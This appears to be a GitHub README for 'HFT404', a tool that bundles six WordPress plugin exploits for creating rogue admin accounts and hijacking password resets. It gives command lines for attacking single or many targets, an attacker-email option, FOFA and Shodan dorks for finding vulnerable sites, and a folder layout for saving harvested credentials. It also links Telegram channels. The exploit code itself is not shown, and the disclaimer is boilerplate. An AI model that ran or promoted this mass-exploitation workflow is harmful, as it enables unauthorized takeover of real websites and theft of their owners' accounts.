Skip to content

Latest commit

 

History

History
390 lines (308 loc) · 13.7 KB

File metadata and controls

390 lines (308 loc) · 13.7 KB

WordPress Multi-Exploit Tool - HFT404

Version Python License CVE-2026-19598 CVE-2026-19632 CVE-2026-8206

╔══════════════════════════════════════════════════════════════╗
║                                                              ║
║  ██╗  ██╗███████╗████████╗ ██████╗ ██╗  ██╗                 ║
║  ██║  ██║██╔════╝╚══██╔══╝██╔════╝ ██║  ██║                 ║
║  ███████║█████╗     ██║   ██║  ███╗███████║                 ║
║  ██╔══██║██╔══╝     ██║   ██║   ██║██╔══██║                 ║
║  ██║  ██║██║        ██║   ╚██████╔╝██║  ██║                 ║
║  ╚═╝  ╚═╝╚═╝        ╚═╝    ╚═════╝ ╚═╝  ╚═╝                 ║
║                                                              ║
║        WordPress Multi-Exploit Tool                          ║
║        6 Exploits Integrated                                 ║
╚══════════════════════════════════════════════════════════════╝

📋 Table of Contents

🔍 Overview

HFT404 WordPress Multi-Exploit Tool is a comprehensive penetration testing tool designed for security researchers and ethical hackers. It integrates 6 WordPress exploits targeting critical vulnerabilities with strict verification to eliminate false positives.

The tool features:

  • 🔍 Enhanced WordPress Detection with scoring system
  • 🛡️ Strict Verification - No false positives
  • 💾 Auto-Save Results with verification status
  • 📝 Debug Logging for troubleshooting
  • 🚀 Async Processing for high performance

⚡ Features

┌─────────────────────────────────────────────────────────────┐
│  ✅ 6 WordPress Exploits Integrated                        │
│  ✅ Enhanced WordPress Detection (Score-based)             │
│  ✅ Strict Verification (Login + Admin Check)              │
│  ✅ Auto-Save Results in Results_cred/                     │
│  ✅ Debug Logging System                                   │
│  ✅ Multiple Encoding Support                              │
│  ✅ Error Handling (WinError 64, Timeouts, Retries)        │
│  ✅ Concurrent Processing (Async)                          │
│  ✅ Color-Coded Output                                     │
│  ✅ Multiple User-Agent Rotation                           │
└─────────────────────────────────────────────────────────────┘

🎯 Exploits Included

# CVE/Plugin Type Severity Verification
1 CVE-2026-19598 - Pods Privilege Escalation 🔴 Critical ✅ Login + Admin
2 CVE-2026-19632 - TranslatePress Account Takeover 🔴 Critical ✅ Reset Key
3 CVE-2026-8206 - Kirki Account Takeover 🔴 Critical ⚠️ Response Check
4 Branda <= 3.4.29 Privilege Escalation 🔴 Critical ✅ Login + Admin
5 TrueBooker Admin Creation 🔴 Critical ✅ Login + Admin
6 CVE-2026-12416/12417 - Pravel Password Reset 🔴 Critical ✅ Login + Admin

Detailed Exploit Information

1. CVE-2026-19598 - Pods Privilege Escalation

# Creates admin user via unauthenticated AJAX
# Verification: Login + Admin Dashboard check
# Reliability: 100% (No false positives)

2. CVE-2026-19632 - TranslatePress Account Takeover

# Extracts password reset link from translation dictionary
# Verification: Reset key found in translations
# Reliability: 95% (Requires specific conditions)

3. CVE-2026-8206 - Kirki Account Takeover

# Sends password reset to attacker email
# Verification: Response success indicators
# Reliability: 70% (Email delivery not verified)

4. Branda <= 3.4.29 - Privilege Escalation

# Changes password via registration form
# Verification: Login + Admin Dashboard check
# Reliability: 100% (No false positives)

5. TrueBooker - Admin User Creation

# Creates admin user via AJAX
# Verification: Login + Admin Dashboard check
# Reliability: 100% (No false positives)

6. CVE-2026-12416/12417 - Pravel Password Reset

# Resets password via unauthenticated AJAX
# Verification: Login + Admin Dashboard check
# Reliability: 95% (No false positives)

📦 Installation

# Clone the repository
git clone https://github.com/HackfutSecRoot/wordpress-multi-exploit.git
cd wordpress-multi-exploit

# Install requirements
pip install -r requirements.txt

# Or install manually
pip install aiohttp

Requirements

aiohttp>=3.8.0

🚀 Usage

Basic Usage

# Single target
python3 multi_exploit.py -t https://target.com

# Single target with username
python3 multi_exploit.py -t https://target.com -u admin

# Scan multiple targets
python3 multi_exploit.py -f targets.txt

# With debug mode
python3 multi_exploit.py -t https://target.com --debug

Advanced Usage

# With specific user IDs for Pods exploit
python3 multi_exploit.py -t https://target.com --id 1

# With multiple user IDs
python3 multi_exploit.py -t https://target.com --ids 1,2,3,4,5

# With attacker email for Kirki
python3 multi_exploit.py -t https://target.com -e attacker@email.com

# With custom threads
python3 multi_exploit.py -f targets.txt --threads 5

# With custom timeout
python3 multi_exploit.py -t https://target.com --timeout 45

# Quiet mode (only show successes)
python3 multi_exploit.py -f targets.txt --quiet

# Save results to custom file
python3 multi_exploit.py -f targets.txt -o results.txt

All Options

usage: multi_exploit.py [-h] [-t TARGET] [-f FILE] [--id ID] [--ids IDS]
                        [-u USERNAME] [-e EMAIL] [-o OUTPUT] [--threads THREADS]
                        [--timeout TIMEOUT] [--quiet] [--skip-detection]
                        [--debug] [-v]

Options:
  -t, --target      Single target URL
  -f, --file        File with targets (one per line)
  --id              User ID for Pods exploit
  --ids             Comma-separated User IDs
  -u, --username    Target username (default: admin)
  -e, --email       Attacker email for Kirki
  -o, --output      Output file for results
  --threads         Concurrent threads (default: 3)
  --timeout         Request timeout (default: 30)
  --quiet           Only show successful results
  --skip-detection  Skip WordPress detection
  --debug           Enable debug logging
  -v, --version     Show version

🔍 Detection Methods

The tool uses multiple detection methods with a scoring system:

# Detection Score System
Content Patterns:     +3 points each
Meta Generator:       +5 points
wp-json Link:         +3 points
X-Pingback Header:    +5 points
WordPress URLs:       +2 points each
License.txt:          +5 points

# Score Thresholds
Score >= 8:  WordPress Confirmed
Score >= 5:  WordPress Probable
Score < 5:   Not WordPress

Detection URLs Checked

/wp-login.php
/wp-json/
/wp-content/
/wp-includes/
/wp-admin/
/xmlrpc.php
/wp-cron.php
/readme.html
/license.txt
/wp-trackback.php
/wp-signup.php

🛡️ Verification System

Strict Verification Flow

┌─────────────────────────────────────────────┐
│  1. Plugin Detection                       │
│     ↓                                     │
│  2. Exploit Attempt                        │
│     ↓                                     │
│  3. Login Verification                     │
│     ↓                                     │
│  4. Admin Access Check                     │
│     ↓                                     │
│  5. Save Result (VERIFIED/UNVERIFIED)      │
└─────────────────────────────────────────────┘

Verification Status

Status Meaning Confidence
VERIFIED Login + Admin confirmed 100%
UNVERIFIED HTTP 200 but no login check 70%
FAIL Exploit failed 0%

📁 Results

Results Directory Structure

Results_cred/
├── credentials.txt          # All credentials with verification status
├── wordpress_domains.txt    # Detected WordPress domains with scores
├── reset_links.txt          # TranslatePress reset URLs
├── kirki_results.txt        # Kirki exploit results
├── branda_results.txt       # Branda exploit results
├── truebooker_results.txt   # TrueBooker exploit results
├── pravel_results.txt       # Pravel exploit results
└── debug.log                # Debug information

Credentials Format

# Format: login_url|username|password|email|user_id|exploit_type|verification
https://target.com/wp-login.php|admin_123456|P@ssw0rd!|pwn_123@evil.tld|1|pods|VERIFIED

Example Output

[+] WordPress: https://target.com | Score: 25
[*] Pods: YES
[*] TranslatePress: NO
[*] Kirki: NO
[*] Branda: NO
[*] TrueBooker: NO
[*] Pravel: NO

[*] Trying Pods exploit...
[PODS] Target: https://target.com | ID: 1
[✓] PODS SUCCESS! Admin access verified!
[+] Credentials saved to Results_cred/credentials.txt

════════════════════════════════════════════════════════════
  EXPLOITATION SUCCESSFUL (VERIFIED)
════════════════════════════════════════════════════════════
  Target: https://target.com
  Exploit: pods
  Username: admin_123456
  Password: Xk9$mP2@vL5!wQ8#
════════════════════════════════════════════════════════════

🔍 Dorks

FOFA

body="pods" || body="translatepress" || body="kirki" || body="branda" || body="truebooker" || body="pravel"

Shodan

http.html:"pods" || http.html:"translatepress" || http.html:"kirki" || http.html:"branda" || http.html:"truebooker" || http.html:"pravel"

👤 Author

HackfutSecRoot

GitHub

📢 Channels & Contact

Channel Link
📢 Channel 1 Telegram Channel
📢 Channel 2 LinxProdXs404
📢 ULP Channel ULP Linxprodx
📝 Post 1 Telegram Post
📝 Post 2 Telegram Post
💬 Contact @HackfutS3c

⚠️ Disclaimer

This tool is for educational and authorized security research purposes only.

  • 🔴 Only use on systems you own or have explicit permission to test
  • 🔴 The author is not responsible for any misuse or damage
  • 🔴 Unauthorized access to computer systems is illegal
  • 🔴 Always follow responsible disclosure practices

By using this tool, you agree to use it solely for lawful purposes.

📜 License

MIT License

Copyright (c) 2026 HackfutSecRoot

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

Made with ❤️ by HackfutSecRoot

For Educational Purposes Only